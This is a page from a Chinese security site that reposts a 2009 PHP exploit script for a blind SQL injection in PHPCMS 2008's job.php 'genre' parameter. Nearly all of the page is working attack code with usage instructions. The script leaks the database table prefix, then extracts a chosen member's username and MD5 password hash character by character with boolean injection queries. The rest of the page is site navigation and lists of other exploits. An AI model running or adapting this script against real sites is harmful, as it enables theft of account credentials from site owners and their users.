首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHPCMS 2008 (job.php \$genre) Blind SQL Injection Exploit
来源:http://hi.baidu.com/netstart 作者:My5t3ry 发布时间:2009-09-22  

<?
if ($argc != 4)
usage ();
$hostname = $argv [1];
$path = $argv [2];
$userid = $argv [3];
$prefix="phpcms_";
//$key = "abcdefghijklmnopqrstuvwxyz0123456789";
$pos = 1;
$chr = 0;
function usage ()
{
global $argv;
echo
   "\n[+] PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit".
   "\n[+] Author: My5t3ry".
   "\n[+] Site : http://hi.baidu.com/netstart".
   "\n[+] Usage : php ".$argv[0]." <hostname> <path> <userid>".
   "\n[+] Ex.   : php ".$argv[0]." localhost /yp 1".
   "\n\n";
exit ();
}
function request ($hostname, $path, $query)
{
$fp = fsockopen ($hostname, 80);
$request = "GET {$path}/job.php?action=list&inputtime=0&station=4&genre={$query} HTTP/1.1\r\n".
     "Host: {$hostname}\r\n".
     "Connection: Close\r\n\r\n";
fputs ($fp, $request);
while (!feof ($fp))
   $reply .= fgets ($fp, 1024);
fclose ($fp);
return $reply;
}
function exploit ($hostname, $path, $uid, $fld, $chr, $pos)
{
global $prefix;
$chr = ord ($chr);
$query = "x' OR ASCII(SUBSTRING((SELECT {$fld} FROM ".$prefix."member WHERE userid = '{$uid}'),{$pos},1))={$chr} OR '1' = '2";
$query = str_replace (" ", "%20", $query);
$query = str_replace ("'", "%2527", $query);
$outcode = request ($hostname, $path, $query);
preg_match ("/<span class=\"c_orange\">(.+)<\/span>/", $outcode, $x);
if (strlen (trim ($x [1])) == 0)
   return false;
else
   return true;
}
$query = "x%2527";
$outcode = request ($hostname, $path, $query);
preg_match('/FROM `(.+)yp_job/ie',$outcode,$match);
$prefix=$match[1];
//function lengthcolumns ()
//{
   echo "\n--------------------------------------------------------------------------------\n";
   echo " PhpCms 2008 (job.php \$genre) Blind SQL Injection Exploit\n";
   echo " By My5t3ry (http://hi.baidu.com/netstart)\n";
   echo "\n--------------------------------------------------------------------------------\n";
   echo "[~]trying to get pre...\n";
   if ($match[1]) {    
echo '[+]Good Job!Wo Got The pre -> '.$match[1]."\n";
}  
   else {
    die(" Exploit failed...");
    }
   echo "[~]trying to get username length...\n";
$exit=0;
$length=0;
$i=0;
while ($exit==0)
{
   $query = "x' OR length((select username from ".$prefix."member Where userid='{$userid}'))=".$i." OR '1'='2";
   $query = str_replace (" ", "%20", $query);
   $query = str_replace ("'", "%2527", $query);
   $outcode = request ($hostname, $path, $query);
   $i++;
   preg_match ("/<span class=\"c_orange\">(.+)<\/span>/", $outcode, $x);
   //echo $outcode;
   if ($i>20) {die(" Exploit failed...");}
   if (strlen (trim ($x [1])) != 0) {
    $exit=1;
   }else{
    $exit=0;
   }
}
$length=$i-1;
echo "[+]length -> ".$length;
// return $length;
//}
echo "\n[~]Trying to Crack...";
echo "\n[+]username -> ";
while ($pos <= $length)
{
$key = "abcdefghijklmnopqrstuvwxyz0123456789";
if (exploit ($hostname, $path, $userid, "username", $key [$chr], $pos))
{
   echo $key [$chr];
   $chr = -1;
   $pos++;
}
$chr++;
}
$pos = 9;
echo "\n[+]password(md5) -> ";
while ($pos <= 24)
{
$key = "abcdef0123456789";
if (exploit ($hostname, $path, $userid, "password", $key [$chr], $pos))
{
   echo $key [$chr];
   $chr = -1;
   $pos++;
}
$chr++;
}
echo "\n[+]Done!";
echo "\n\n--------------------------------------------------------------------------------";
?>
黑色背景区域为使用方法及示例



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Zeroboard 0day&Exp
·Gnuboard 0day&Exp
·Mozilla Firefox versions 3.0.1
·BigAnt Server <= 2.50 SP6 Loca
·Joomla com_mytube (user_id) Bl
·cP Creator 2.7.1 (Cookie ticke
·Winplot (.wp2 File) Local Buff
·Microsoft IIS 5.0 FTP Server R
·Sun Solaris 10 RPC dmispd Remo
·html2ps versions 1.0 beta5 and
·CuteFTP version 8.3.3 Home/Pro
·VLC Media Player version 1.0.2
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved